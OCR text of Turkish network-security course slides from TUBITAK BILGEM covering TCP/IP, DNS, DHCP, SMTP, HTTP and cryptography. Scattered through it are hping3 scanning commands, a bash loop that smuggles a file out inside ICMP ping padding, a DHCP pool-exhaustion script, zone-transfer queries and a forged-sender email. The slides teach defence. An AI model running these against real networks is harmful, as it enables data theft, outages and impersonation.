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IPv6 - Servis Disi Birakma (DoS) " @

TUBITAK

Broadcast adresi yok

Smurf/amplification tipi saldirilar mimkiin degil

- X -

ICMPv6’nin hata mesajlarinda, hedef adresinin ¢oklu gonderim
adresi olarak tanimlanabilmesi

Tum DHCPv6 adreslerini temsil eden FF05::1:3 ile DHCPv6 sunuculari

NDP tablo boyutu sinirli

. S
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_ Tesima Kot (U1 S

« Ust katmanlardan gelen veriyi ag paketi boyutunda parcalara béler.

e Alt katmanlar ve Ust katmanlar arasinda gecit gorevi gorur.

e Alt katmanlar verinin ne olduguna bakmadan karsi tarafa yollama isini
yaparken, Ust katmanlar da kullanilan donanim ile ilgilenmeden

verinin kendisi ile ugrasabilirler.

.- 5

IP: 10.1.1.1/24 IP: 10.1.1.2/24
MAC: 11111111111 MAC: 2222.2222.2222

s —

’
-~

Layer 5

. DATp B
Layer 4 [>,<j frrate _
T 72

DATA
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TP

! e — L &

* Baglanti yonelimli bir protokoldiir (Connection-Oriented).
* \Verilere sira numarasi ekler (Sequence Number).
e Veriler, parcalara boliinerek yollanabilir.

e Guvenilirdir. Kaybolan veri tekrar vyollanir. Verinin hedefe gidip
gitmedigini kontrol eder.

e Akis kontroll vardir (Flow Control).

e Cift yonltudir (Full Duplex).

73
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B Y

SOURCE PORT DESTINATION PORT
SEQUENCE NUMBER
ACKNOWLEDGEMENT NUMBER
DATA c =D |= |wvn|m
OFESET RESERVED = |Q|e v é = WINDOW
CHECKSUM URGENT POINTER
OPTION PADDING
32 BIT

Source Port Gonderenin TCP portu.

Destination Port  Alanin (hedefin) TCP portu.
Sequence Number TCP segmenti icindeki birinci baytin sira numarasi.

Window TCP ara bellek (buffer) alaninin su anki mevcut biayuklagu.

TCP Checksum TCP baslig1 ve verisinin blutlnlaglnl kontrol icin kullanilir.
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|

TUBITAK

TCP Paket Basligi

TCP Header (RFC 793)
0 1 2 3 456 78 91011121314 1511617 18 1920 21 22 23|24 25 26 27 28 29 30 31
Byte Offset O Byte Offset 1 Byte Offset 2 Byte Offset 3
Source Port Number (16-bit)

Destination Port Number (16-bit)

Byte Offset 5 Byte Offset 6 Byte Offset 7

Sequence Number (32-bit)
Byte Offset 10

Byte Offset 4

Byte Offset 9 Byte Offset 11

Acknowledgement Number (32-bit)
Byte Offset 14

Byte Offset 8

sa1Ag 0¢

Byte Offset 15

Byte Offset 13

UA|IPIR|S
R|IC|S|S|Y
G|K|H|T|N

Byte Offset 17

Byte Offset 12
Window Size (16-bit)

Z — T

Byte Offset 18 Byte Offset 19

Byte Offset 16
Urgent Pointer (16-bit)

Checksum (16-bit)

e Offset 20 B
TCP Options (variable....if any)

data (variable....)
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—

istemci

1 Uclii El Sikisma
—=9 (3-Way Handshake)

Cﬁﬂ“ﬁ \

/ SrcP. DstP. SEQ.Num. ACK. Num. Flag
! 3517 [0 SYN ]

src P. DstP. SEQ. Num. ACK. Num. Flag
1518 | SYN+ACK |

SrceP. DstP.  SEQ. Num. ACK. Num. Flag
3518 [ITSSOTT]  ACK |

NOMO©
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Uygulama 2 — TCP 3’lu El Sikisma Analizi " @'

! TUBITAK

«_Uygulama 2 - TCP 3'lu El Sikisma.pdf»

dosyasini aciniz.

Latfen uygulamayi tamamlayiniz!
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TCP: TCP 3’lu El Sikisma Paket Analizi

TUBITAK
Mao. Time Source Destinaticn Protocol Length Info
1 0.000000 192.168.1.104 216.18.166.136 TCP 74 49859 = http [5YN] Seg=0 Win=8192 Len=0 M55=1460 WS=4 SACK_PERM=1
2 0.307187 216.18.166.136 192.168.1.104 TCP 74 http > 49859 [5¥YN, ACK] Seg=0 Ack=1 Win=5792 Len=0 M55=1440 T5val
3 0.307372 192.168.1.104 216.18.166.136 TCP 66 49859 > http [Ack] sSeg=1 Ack=l wWin=17136 Len=0 T5Swval=305793 Tsecr

+# Frame 2: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
# Ethernet II, Src: Tp-LinkT_38:f1:00 (74:ea:3a:38:f1:00), Dst: Intel_90:29:61 (00:19:d2:90:29:61)
& Internet Protocol version 4, Src: 216.18.166.136 (216.18.166.136), Dst: 192.168.1.104 (192.168.1.104)
= Transmission Control Protocol, Src Port: http (80), Dst Port: 49859 (49859), sSeq: 0, Ack: 1, Len: 0
source port: http (80)
Destination port: 49859 (49859)
[stream index: 0]
Sequence number: 0 (relative sequence number)
Acknowledgment number: 1 {relative ack rnumber)
Header length: 40 bytes
= Flags: 0x012 (S¥N, ACK)
000, .... .... = Reserved: NoT set
L0 ... ... = NONCe: NOL set
e e Congestion Window Reduced (CWR): Not set
.0.. .... = ECN-Echo: Not set
.0. .... = Urgent: NOT set
.1 .... = Acknowledgment: Set
0... = Push: Not set
cees sxw. 0., = Reser: NOL setr
=E Syn: Set
ciee avew ...0 = Fin: Not set
wWindow size value: 5792
[calcuTlated window size: 5792]
# Checksum: 0xfge?7 [wvalidation disabled]
# options: (20 bytes), Maximum segment size, No-Operation (NOP), No-Operation (NOP), Timestamps, No-Operation (NOP), Window scale
# [SEQ/ACK analysis]

[=]
I

0010 00 3c 00 00 40 00 2d 06 Od 11 d8 12 a6 88 CO a8  .<..@.—. ........
0020 01 &8 00 50 c2 ¢3 29 91 a6 b8 d5 e2 df bs - TR, E
0030 16 a0 8 e7 00 00 02 04 05 a0 01 0L 08 0a 4e 62  ....o.vo vvon.. N
0040 b9 10 00 04 aa &2 01 03 03 09 ... b..

g o

‘..4‘7 3

' Tcpdump ile nasil tespit edilir?
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e Y

Jturum sonian er IKI tararin da aniasmasit lie tamamianir.

E

Taraflardan birinin ilgili bayrakli paketi gondermemesi, ge¢ gondermesi
baglantinin saglikli olarak sonlanmasina engel olur.

A

w 0
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TUBITAK

Hata denetimi yok.
Kaybolan paketln yemden gonderllme5| sOz konusu deglldlr

Veri aktarimi daha hizlidir. |
Dogrulama mekanlzma5| yok.

Sahtecilige acik.
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_UP Pekie B

SOURCE PORT DESTINATION PORT
LENGTH CHECKSUM

Source Port Gonderen bilgisayarin UDP portu.
Destination Port Alici bilgisayarin UDP portu.
Checksum UDP basligi ve verisinin kontrolu icin kullanilir.

81
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UDP Paket Bashigi "

v

TUBITAK

UDP Header (RFC 768)

012 3456 78 9101112131415]1617181920212223|2425262728293031

Byte Offset O Byte Offset 1 Byte Offset 2 Byte Offset 3

Source Port Mumber (16-bit) Destination Port Number (16-bit)

Byte Offset 4 Byte Offset 5 Byte Offset 6 Byte Offset 7

Checksum (16-bit)

Byte Offset 8 Byte Offset 9 Byte Offset 10 Byte Offset 11

data (variable....)
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TUBITAK

2. Bolum

TUBITAK BILGEM
Siber Guvenlik Enstitusu

Bu dokiiman, alinti vererek kullanilabilir ya da paylasilabilir ancak degistirilemez ve ticari amagla kullanilamaz.
Detayli bilgiye https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr baglantisindan erisebilirsiniz.
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TCP/IP ve Farkli Durumlar
Uygulama Katmani

Ag Guvenligi: Protokoller

DOS/DDOS Saldirilari

84
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e —. ™~

I

Neaen paket olusturulur:
Normal ve normal olmayan paket izlerini gozlemlemek icin

(Fingerprinting)
Saldiri tespit ve dnleme sistemlerini atlatmak igin
Paketleri glzlemek ve iletilen mesaJIarl saklamak i |g|n
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_ Paket Ollrurma KSR

Hangi araclar kullanilir?

* hping3

e sendip

* nemesis

* scapy

m— \_aE ao o = — T =
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Hping3 ile Paket Olusturma “

SYN paketlerinin olusturulmasi

# hping3 Swwwsunucu com-p 80-c3

- &Y - - €

UDP paketlerinin olusturulmasi

# hping3 -U www.sunucu.com -p 53 -c 3

T — R — =3 — L 3

ICMP paketlerinin olusturulmasi
# hping3 -1 www.sunucu.com -c 3

Port tarama islemi
# hping3 -S www.sunucu.com -p ++440
- - _rrr—r-rﬁr—rrrm'/ 4

"-1-! (& 7

‘440.porttan itibaren tarama
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Nmap ile isletim Sistemi Tespiti " @'

! TUBITAK

Starting Nmap

Nmap scan report for 172.16.1.10
Host is up (0.00015s latency).

Not shown: 992 filtered ports
PORT  STATE SERVICE

53/tcp open domain

445/tcp open microsoft-ds

Warning: OSScan results may be unreliable because we could not
find at least 1 open and 1 closed port

Device type: general purpose
Running: Microsoft Windows 7| Vista|2008

- e e Y. A W am = ge— i
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traceroute "

Destination
Host

TimeToLive MTL}=1 | g

ICMP Echo  TimeTo Live (TTL) =2

i request packet

w - ICMP erru_uW"‘/’

TimeTa Live (TTL) =3 is I i_g

ICMP error message

_ CMP Echo TimeTo Live (TTL) =4
m request packet - ﬂg

LoriotPro
IP Source

Router hop Router hop Router hop

ICMP Echio
request packet

ICMP erro

LUTELS Copyrights 2008

v

! TUBITAK
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Tcptraceroute

: TUBITAK
Scan  Tools Profile Help
Target:  www.google com www facebook.com twitd Profile: | w Scan
Command: | nmap -T4 -A& -F -PN www.google com www facebook com twitter com microsoft.com insecure org slashdot.org r:raigslisl:.:|
l Hosts ‘ Services Nmap Output Ports /Hosts Tnpnlugyr|Hnst nutahlsn:ﬂs
05 Host ki Hosts Viewer E- | Asheye ||| = Controls ¥ save Graphic
4 | = —cp
¥ 725126227 —
ction
™ wwwo0301lashldi
, Ewull..te.l:mn
A  mh-in-f99 google. . B e | o- s ﬂ
M 128.121.146.100 .
128
Ky, www defoon.org | A ¥ Interpolation
™ www.craigslist.orc .D'I R uméw“ Frames &0 -
4.125.49.38
W wwwblackhat cor / ' | )
M 207.46.232.182 13 tukamnsmesTa T ® Polar O Cartesian
Al . | |
m youtube com (208 QEnl-l.wt-r&-lhﬁ-'.mk_. [ Layout
r.pmipa.wikimedi |
: pmip Oge 100t tukdgilss ¥ View
insecure. org (641
7351 p8237 2ol e :
m 5|a§hd0lﬂr‘g [215 o - o?'”l]aj 673N ¢ I‘I'1 addrESE
SCanme.nmap.org Cir2 18230351 \ Ogea- i hostname
P
! . (215 187 80 115 o icon
ashdot.org D{lfng 1D Clge-0-3-0-535 mst-Blp-1b niwk misn fed--.. w
427 160 1 209,85 250 136
) 4 o T A e — Mavigation 2250
’1'“?‘1“”m"3'=ﬁ'§:ﬁﬁszﬂn . .--.aﬂl-g_- fie;mﬂ_ﬁﬁil
. rl-pes 0000 :h.rﬂ?ﬂﬁ?{‘#ﬂ'n L = g\g% .
i _?EI;@FEH Seattie mvyizmat - CJI0R 108 208,40~ (Ml g
# nmap -Pn --traceroute -p 8000 www.sunucu.com
S e 92
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ICMP Uzerinden Veri Aktarimi “

ICMP Echo Request paketlerinin igerisindeki paddmg icin ayrilan
bolumden faydalanilarak veri iletimi

# while read -n12 line;do ping 10.0.2.16 -p S(echo Sline|xxd -p -u) -c
1;done < dosya.txt

Filter: | icmp ¥ | Expression.. Clear Apply Save

Mo, Time Source Destination Protocol Length  Info

12 3.28735700192.168.4.187 192.168.4.101 ICMP 98 echo (ping) reques

13 3.28748400192.168.4.101 192.168.4.187 ICMP 98 Echo (ping) reply

>

# Frame 12: 98 bytes on wire (784 bits), 98 bytes captured (784 bits) on interface 0

# Ethernet II, Src: Vmware 06:cd:4b (00:0c:29:06:cd:4b), Dst: Hewlett-_c2:96:df (78:e7:
® Internet Protocol Version 4, Src: 192.168.4.187 (192.168.4.187), Dst: 192.168.4.101 (
H{Internet Control Message Fratncn?)

0000 78 e7 dl c2 96 df 00 Oc 29 06 cd 4b 08 00 45 00 x....... J..K..E.
0010 00 54 00 00 40 00 40 01 bO 38 cO a8 04 bb cO a8 LT 8. @, LB,
0020 04 65 08 00 5a e7 69 42 (00 01 85 9f 24 51 83 5a Z.1B $Q..Z

0030 02 00 69 6e 67 0a 50 6f 72 74 73 75 7a 50 69 ge ..1ng.Po rtsuzfin
0040 67 0a 50 6f 72 74 73 75 7a 50 69 6e 67 0a 50 &6f |g.Portsu zPing.Po
0050 72 74 73 75 7a 50 69 6e &7 0a 50 of 72 74 73 75 rtsuzPin g.Portsu
0060 7a 50 ZP
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Uygulama 3 — ICMP ile Veri Aktarimi " @

! TUBITAK

«_Uygulama’3 - ICMP ile Veri Aktarimi.pdf»
dosyasini aciniz.

Latfen uygulamayi tamamlayiniz!
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v

! TUBITAK

I

1984 — Hosts dosyas{

- Generic =| |~'— Countries —
d d i ; i |
oqm eI u gov mi grg net JQ us ,rl
I | 7\ /7 N\ /7 N\
sun }ale\ acm ieee ac co oce vu
eng /cs\ eng jack  jill keio nTc /cs\
:i\i linda cs csl flits fluit
robot ~ pead Ust Seviye Alan

Adlari -
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K6k (Root) DNS Sunuculari " @

TUBITAK

Root namesansears
Satus check map a2 i {

o - | |
A W W W

gU TRIBUNE DE ERISIM ENGELLENN.liSTi.
DNS DEGiSTiRIP. GIRDIKS
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DNS: Kayit Tipleri " @

! TUBITAK

A (Adress Record) Adres kaydi olup host isimleri ile IPv4 eslesmesi yapilir.
MX (Mail Exchanger) Sistemde bulunan mail sunuculari tanimlamak icin kullanilir.
PTR (Pointer Record) IP adresinden isme eslesme yapan kayittir.

AAAA (Address Record) Adres kaydi olup host isimleri ile IPv6 eslesmesi yapilir.

SOA (Start Of Authority) Bir DNS sunucunun o alandan (zone) sorumlu oldugunu belirler.

TXT (Text) Belirli bir kaynak hakkinda, nerede bulundugu ve sahipligi gibi bilgiler
CNAME (Canonical Name) Alias yani takma isim yoluyla baska bir kayda yonlendirir.

NS (Name Server) Ag lzerinde bulunan ve kullanimda olan DNS sunuculari tanimlar.
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DNS: Wireshark

44 A ARTTAA Lo . AFLk . el dnde . . LLA™. . = e

Filter: | udp |Z|Expression... Clear Apply
M. Time Source Destination Protocol  Length  Info
30 27.785017 192.168.2.3 192.168.2.255 uDp 1328 Source port: 6646 Destination port: 6646
31 29.531792 192.168.2.3 google-public-dns-a. giDNS 80 standard query PTR 8.8.8.8.1n-addr.arpa
32 29.553962 google-public-dns-a.qi192.168.2.3 DNS 124 standard query response PTR google-public-dns-a.google. com
33 29.555056 192.168.2.3 google-public-dns-a. giDNS g1 standard query A mail.yahoo.com.Belkin
34 29.580244 google-public-dns-a.qi192.168.2.3 DNS 156 standard query response, No such name
35 29.580855 192.168.2.3 google-public-dns-a. giDNS 81 standard query AAAA mail.yahoo.com.Belkin
36 29.604097  google-public-dns-a.gi192.168.2.3 DNS 156 5tandard query response, No such name
37 29.604639 192.168.2.3 google-public-dns-a. giDNS 74 standard query A mail.yahoo.com
38 29.629549  google-public-dns-a.gi192.168.2.3 DNS 169 standard query response CNAME login.yahoo.com CNAME login-global.lgg
39 29.630494 192.168.2.3 google-public-dns-a. giDN5 74 standard query AAAA mail.yahoo.com
40 29.654908 google-public-dns-a.qi192.168.2.3 DNS

NAR . mramen & s A

214 standard query response CNAME login.yahoo.com CNAME login-global.lgg _

4 | L}

® Frame 31: 80 bytes on wire (640 bits), 80 bytes captured (640 bits)
# Ethernet II, src: IntelCor_5f:e2:76 (00:1e:65:5F:e2:76), Dst: Belkin_53:

# User Datagram Protocol, Src Port: 56301 (56301), Dst port: domain (53)
# Domain Name System (query)

0000 00 11 50 53 9577 00 1e 65 5 €2 76 08 00 45 00 ..PS.W.. e_.V..E.
0010 00 42 32 9500 00 80 11 35 5b 0 a8 02 03 08 08  .B2..... 5[evnin.
0020 08 08 00 01 01 00 00 01 .. Al .....
0030 00 00 00 00 00 00 01 38 01 38 01 38 01 38 07 69 ....... 8 .8.8.8.1
0040 6e 2d 61 64 64 72 04 61 72 70 61 00 00 Oc 00 01  n-addr.a rpa.....

95:77 (00:11:50:53:95:77)

# Internet Protocol version 4, Src: 192.168.2.3 (192.168.2.3), Dst: google-public-dns-a.google.com (B.8.8.8)

gloce

= MG RO

TUBITAK

r
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Alan (Zone) Transferi @

! TUBITAK

Yetkisiz kullanicilarin alan transferi yapmasina izin verilirse, DNS
sunucuya girilmis tim adres kayitlarina erismek miumkun olacaktir.

- e it S >
| Ty rsfir evwall.org |

rnsfiresall, org

D amain

Cortroller

f} DME
-

| Swmsflrewall arg

{ =1

b .

Cromain

Contraller
DNS

Domam
Cortroller

# dig @ns.sirket.com sirket.com AXFR

- = A P S =

# host -t ns S|rket.com

# host -l sirket.com ns. S|rket com
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Alan (Zone) Transferi

nslz.conees

209.62.

ronetransfer.me
ronetransfer.me
ronetransfer.me

a—l.-qn—l N B
RN R i A B

ipveactnow.org.z
office.zonetrans
owa.zonetransfer
asfdbbox.zonetra
canberra office.
alltcpportsopen.

zonetransfer
deadbeef.zonetra
vpn. zonetransfer
dc office.zonetr

-t
name Server
name sServer

1 zonetrar

dit.ocom
64.46%53

name Server
name Server
ha=s address
in-addr.arpa.zonetransfer.me domain name pointer wWwWw.zonetransfe
onetransfer.me has IPve address Z2001:

fer.me ha=s address 4.23.38.254

e has address 207.46.

nafer.me has address 127.0.0.1

zonetransfer.me has address 202.14.81.230
irewall .test.zonetransfer.me has address 127.0

0

e has address 217.147.180.162
nafer.me has IPve address dead:beaf::
.me ha=z addre=ss 174.36.59.154
ansfer.me has addres=s 143.
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e,

IP adresi ve alt ag maskesi basta olmak tizere, TCP/IP

parametrelerini otomatik olarak dagitan bir protokoldiir.

v

TUBITAK

DHCP DISCOVER

Istemci
MAC: AA-BB-CC-DD-EE-61

H

Istemci
MAC: AA-BB-CC-DD-EE-61

Hedef MAC adresi: FF-FF-FF-FF-FF-FF
Istemci MAC adresi: AA-BB-CC-DD-EE-61
Bilgisayar ismi: Istemcicl

Ganderilen IP adresi: 255.255.255.255
Hedef port: 67

DHCP OFFER

Hedef MAC adresi: FF-FF-FF-FF-FF-FF
HedefIP adresi: 255.255.255.255

DHCP sunucusunun IP adresi: 192.168.61.61
Hedef port: 63

Verilecekolan IP adresi: 192.168.61.20
MMaske: 255.255.255.0

IP adresi gecerlilik stiresi: 1440 dk

DHCP REQUEST

4,

Istemci
MAC: AA-BB-CC-DD-EE-G1

5

Istemci
MAC: AA-BB-CC-DD-EE-61

Hedef MAC adresi: FF-FF-FF-FF-FF-FF

Kaynak adres: 0.0.0.0

GanderilenIP adresi: 255.255.255.255
Istemci MAC adresi: AA-BB-CC-DD-EE-61
DHCP sunucusunun IP adresi: 192.168.61.61
Bilgisayar ismi: Istemciél

Hedef port: 67

DHCP ACK

Hedef MAC adresi: FF-FF-FF-FF-FF-FF
HedefIP adresi- 255.255.255.255

DHCP sunucusunun IP adresi: 192.168.61.61
Hedefport: 68

Verilecekolan IP adresi: 192.168.61.20
Maske: 255.255.255.0

IP adresi gecerlilil stire si: 1440 dk

Sunucu
192.168.61.61

Sunucu
192.168.61.61

Sunucu
192.168.61.51

Sunucu
192.168.61.61

—— —
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DHCP Istismari: Adres Havuzunun Tiiketilmesi " @

! TUBITAK

adres billglleri deg arek surekli olarak 1e
alinmasiyla DHCP sunucu IP havuzunun tuketilmesi
| #!/bin/bash
while true; do
killall dhclient3
rm -f /var/run/dhclient3.pid
ifconfig ethO down

macchanger -a eth0 2>&1 | grep Faked
ifconfig ethO up
dhclient eth0 2>&1 | grep DHCPACK

done
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DHCP istismari: Sahte DHCP Sunucu “ @

TUBITAK

Saldirgan sahte DHCP sunucusuyla istemcilere varsayilan ag gecidi

ve DNS sunucusu olarak kendi bilgisayarinin adresini verebilir.

/ DHCPOffer
{ "Set Your Default Gateway
To 100.1.1.1 /24"

P
~
~
- L
4
-~ _:-
~ F
o~

I .o Rogue DHCP
4 -

'
/

-

Server At 100.1.1.1 /24

DHCPOffer

Valid DHCP
Server

(config)# ip dhcp snooping vlan 20-61
(config)# interface GigabitEthernet 6/17 (DHCP sunucusu portu)
(config-if)# ip dhcp snooping trust
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R~

Amac: Postalama yapmaktir. |

Send message to \ 8 ‘
«mudur@sirket.com"

-

——

\ ‘Get IP addr of mail serve; ' i DNS Server(s)

Yahoo.com mail server

Establish TCP éonnection

Establish SMTP session

»
: | All f
Send E-mail ‘ Il sorst of malware and URL§
: . ) | may be attached to the E-mail
- ‘?’ _—
Close SMTP session
.~ -

K: Closg TCP connection #

~
—
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E-posta Sahteciligi

TUBITAK

[S: 220 xyz.com SMTP service ready | > Server message
[C HELO abcd.com }x

S: 250 xyz.com says hello to abed.com | > Client message
{C: MAIL FROM: <elinor@abcd.com> |

(S: 250 sender ok J
: RCPT TO: <carolyn@xyz.com> |
I [S: 250 recipient ok ) :
C: DATA

\,-_C MIME-Version: 1.0
: Message-ld: <0704760941.AA00747 @abcd.com>
: Content-Type: multipart/alternative; boundary=qwertyuiopasdfghjklzxcvbnm
Subject: Earth orbits sun integral number of times

This is the preamble. The user agent ignores it. Have a nice day.

S —

000000000000 A00N0DO00OOD O

: ==qwertyuiopasdfghjklizxcvbnm
Content-Type: text/enriched

Happy birthday to you
: Happy birthday to you
: Happy birthday dear <bold> Carolyn </bold>
Happy birthday to you

--qwertyuiopasdfghjkizxcvbnm
: Content-Type: message/external-body; i
access-type="anon-ftp";

site="bicycle.abcd.com”,
directory="pub";
name="birthday.snd"

>

content-type: audio/basic
: content-transfer-encoding: base64
--qwertyuiopasdfghjklzxcvbnm

[S:250 message ac‘oipte‘d | @ oS
[S: 221 xyz.com closing connection ]

QuIT 106
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E-posta Sahteciligi

TUBITAK

- 5 C A

X-store-info:4r51+elowCe7 9NzwdU2kRwMEIFfZT+JrHHe ZgyGSHNVOEH hWJAbEQGIClH+C+szElepg35GYWKjnguVmoBSQEHTOiE04oINHBistFDVRoaCbcnRBsp93FnBzon7YOlVdatYlv,=
Luthentication-Results: hotmail.com; spf=temperror ender IP 1is 193.140.74.6§1 identity alignment result is fail and alignment mode is relaxed]f?mtp.mailfrom=galkan@uekae.tubitak.gov.trgl
X-5ID-PRA: steve.jobs@apple.com
X-AUTH-Result: NCNE
X-5ID-Result: NCONE
¥X-Message-5tatus: nin
¥X-Message-Delivery: ViOxLijETdXMSMDtsPTATYTOwCOQSM]tHRDOyOINDTDOZ
X-Message-Info: 11chDOWgoTktmx98Ro6W2iUEv4TEG3MLbptgdaG2 DECTvF3uTtd7XVLCmmZbey3GeRknhRRQrV1JhETul0SvauyiCCinhTpt4/S4ECDiz6isapl 1 kvFFwXg2Z92nHgTbeZ JtECT82vEw34UHVIMdeos/CWi4li2K
Received: fromffpentest.uskae.tubitak.gov.tr ([193.140.74.69]) by SHNIO-MC4-F5.5nt0.hotmail.com with Microsoft SMIPSVC(6.0.3790.4900);
Fri, 2 ar 2013 2730011 0700
Received: from pentest.uskae.tubitak.gov.tr (localhost [127.0.0.1]
by pentest.uekae.tubitak.gov.tr (8.14.3/8.14.3/Debian-9.lubuntul} with ESMTP id r2MJ1gNRO27435
for <nevzatpinar@outlook.com»; Fri, 22 Mar 2013 21:47:52 +0200
Date: Fri, 22 Mar 2013 21:47:52 +0200
Message-Id: <201303221947.r2MJ1glRO274358pentest . uekae. tubitak.gov.tr>
Content-Type: multipart/alternative;
boundary="127.0.1.1.0.27434.1363981672.442.1"
From: Steve Jobs <steve.jobs@apple.com>
Subject: Burada ortam cok guzel
—version. 1.0
To: nevzatpi Er@outlook.com
eturn-Path: galkanfuekae.tubitak.gov.tr

Microsoft Corporation [US]|https:_,’_,’snﬂ3?.mai|.|ive.com_ﬁ’na'_,’Get\dessageSource.asax?’nsg'd:498f6e59—9328—11e2—8512—002264c1c?98&fo der'd:(@ Q qf:«‘ <.°

T12.0242 (UIC) FILETIME=[115AR320:01CE2735]

--127.0.1.1.0.27434.1363981672.442.1
Content-Type: text/plain:

charset="utf-g"
Content-Transfer-Encoding: quoted-printable

Burada ortam cok guzel
--127.0.1.1.0.27434.1363981672.442.1

New Reply |» Delete Archive Junk|v Sweepv Movetov Categoriesv

Search email o View: All v Amangebyv A Burada ortam cok guzel v @ e, Pl o check
back later.
Folders M Steve Jobs 9:40 PM Gteve Jobs (stevejobs@apple.com)J Add to contacts  9:40 PM Actions v
Inbox 3 Burada ortam cok guzel ; snar@outlook.com &
Junk Cloud Security Alliance 8:03 PM
Cloud Security Alliance C... . ) o )
Drafts From: Steve Jobs (stevejobs@apple.com)  This sender is in your safe list,

Skype 3/20/2013 Sent: Friday, March 22, 2013 9:40:13 PM
Sent Skype’in hediyesini sire... To: d . @outlock.com l

Deleted IT SECURITY EXPERT /20/2013 TEST - TUBITAK http ://www.uekae.tubitak.gov.tr
on IT SECURITY EXPERT & o...

Information Technol... 3/18/2013

New fold
s olcer Subject: Achieving cyber...

E% MG MDD ].():7
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Uygulama 4 - Phishing (Oltalama) Saldirisi Analizi " @

! TUBITAK

«_Uygulama 4 - Phishing Saldirist Analizi.pdf»
dosyasini aciniz.

Latfen uygulamayi tamamlayiniz!
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TUBITAK

TCP ile bir uctan diger bir uca dosya transferi |
Kullanici adi ve parola, agik bir sekilde ag uzerinden iletilmekte |
FTP over SSL, SFTP

TP S
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M~

WEB tzerinde veri iletiminin kaynagi olan protokoldur

www. isbank.com. tr

=

M

Get IP addr of web server

DNS Server(s)
Establish TCP connection www.isbank.com.tr web
' server
SSL Connection Establishment

Clients may load P Clients may try to abuse the

malware along ) HTTP Transactions vulnerabilities of the WEB
transactions. application.

\r’ Close TCP connection 1‘
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HTTP: Metotlar " &

! TUBITAK

Vast majority of
requests to Web T — e . —
servers from the Method Description
clients. GET Request to read a Web page |
i || HEAD Request to read a Web page's header i . _
Requests from the PUT Request to store a Web page E Submits data to be
System Admin to r-',( processed (e.g.,
POST Append to a named resource (e.g., a Web page) . £ HTML
modify the WEB ! 7§ froman
content! DELETE Remove the Web page form).
' TRACE Echo the incoming request 5
CONNECT | Reserved for future use I
OPTIONS | Query certain options

L w2 a4

111


https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

HTTP: Paket Analizi

TUBITAK

Mo, - Time Source Destination Protocol Info

26 2.233117 1592.168.1.178 192.168.1.165 TCP http > 63801 [ACK] Seg=1 Ack=404 win=6432 Le
27 2.287124 192.168.1.178 192.168.1.165 HTTP HTTP,/1.1 200 OK (Text/htm

28 2.297127 192.168.1.178 192.168.1.165 TCP http = 63801 [FIN, ACK] 5eq=377 Ack=404 win=

B HTTP/1.1 200 oK\r“n
Date: Mon, 18 May 2009 01:48:43 aMThr'n
Server: Apache/2.2.8 (Unix) mod_ss1/2.2.8 openssL/0.9.8g DAV,/2 FHP/5.2.6%r\n

X-Powered-By: PHP/5.2.6%r\n

Content-Encoding: gzipirin
vary: Accept-eEncodinghrin
Content-Length: 109

Connection: closel\rin
Content-Type: text/htmlrin
\rn
Content-encoded entity body (gzip): 109 bytes -> 100 bytes
= Line-based text data: text/html
<html=Yn
<body="n
<p=You can’'t read the content of this page while sniffing on wire.</p=\n
</html="n
<body="n

@080
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HTTP: Oturum Calma " @

! TUBITAK

i Session ID = ACF3D35F216AAEFC §
< A .
Victim Web Server
Sniffing a legitim .
session
/ Q@ '
Attacker
I
|i Session ID = ACF3D35F216AAEFC l
N s :
! .
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_‘I TUBITAK

Ag Guvenligi:

Protokoller
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L — Y

paylasimi ve imzalama

e Simetrik (Gizli Anahtar) Algoritmalar
* Asimetrik (Ortak Anahtar) Algoritmalar
* Ozet (Hash) Fonksiyonlari

» Sayisal Sertifikalar ve Sertifika Makamlari

115
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|| veriboyu | Anahtarboyu_
m 128 bit  128-192-256 bit
m 64 bit 56 bit
m 64 bit 112 bit
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_ eSS

Hello! ¢ rvEuWEI F v Hello!
LE“CWPtJ Lﬂecwth

Public key exchange _ "

RSA|
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_ Oaet (Hath] ForiCHOMSTRSRRR

* Anahtarl 6zet fonksiyonlari

 CBC-MAC

* Anahtarsiz 6zet fonksiyonlari
 SHA-1 _ ‘
* ohA2 - 952d2c56..

- - o— p—

# echo -n "Sifrelenecek Metin" | md5sum

# echo -n "Sifrelenecek Metin" | sha512sum

_— = — = L - =
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Sayisal Sertifikalar ve Sertifika Makamlari " @

' TUBITAK
Client Server
¢ d, JC ° o O

actk anahtarin bir otorite Client Hello I -
tarafindan imzalanmig halidir. Server Helo

. o T E (Certificate)
Sertifika makami Uzerinde bir - (Server Key Exchange)

. o . (Certificate Request)
otorite olmadigindan, kendi Server Hello Done
sertifikasini olustururken kendi
- o . . (Certificate)
gizli anahtari ile kendi acik | (Gientkey Exchange)
anahtarini imzalamaktadir. (Gerticate Verl) g

Change Cipher Specs

Finished

Change Cipher Specs

Send Data Send Data I

119
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_ sanl G A TUPTSSS———

 |PSEC, PPTP, L2TP
 DES, 3DES, IDEA, CAST128, Blowfish vs...
e MD-5, SHA-1

..o ~

Giivensiz Ag
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! TUBITAK

ncapsulating Security Payload): Gizlili

nternet Key Exchange): Anahtar Degisimi

2

CrgimDonetimi | ar | ar
[ Bagiantiz Butamak | var | -

S .
Ttrarianan Paketrn Reddodimesi | Nar | Var_|
[ N N
(STt G | var |
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IPSec Paket Basligi " @

! TUBITAK

TCP Bashg

IP Bashgr TCP Bashg

Cerceve

Bashg IP Bashgr TCP Bashg
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Authentication Header (AH)

Orjinal IP IPSec

Bashgi Bashgi veri
y S
Kimlik Dogrulama
Yeni IP IPSec Orjinal IP .
Veri

Bashg Bashg Bashg

Kimlik Dogrulama

N4

! TUBITAK
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Encapsulating Security Payload (ESP) " @'

Bashgi Bashgi

Kimlik dogrulama
< >

Sifreleme

Yeni IP IPSec Orjinal IP Veri |ONY
Bashg Bashgi Bashg Auth j§

———— wm R anEm o s @ =

Sifreleme
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_sear= ST

Y

15 Wtches for host

WP run conpleted - 1 1P address (1 host up) scanned
‘|l shauke 19,2.2,2 -rootpu="210M101"
Connecting to 10.2,2,2:55h ... successful,

Attenpting to exploit SSHwi CRED2 ,,, successful,
Reseting root password to “"Z10M101",
Systen open: Access Level (9)

¥ ssh 10.2,2,2 -1 reot
root@,2,2,2's password; |

125


https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

SSL & TLS “ &

! TUBITAK
Standard HTTP

551

SSL: Baglantinin en

TLS: TCP uclu el sikisma islemi duz ve §ifres

# openssl s_client -connect bilgiguvenligi.gov.tr:443 -ssl3 |
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SSL: Wireshark ile Paket Analizi

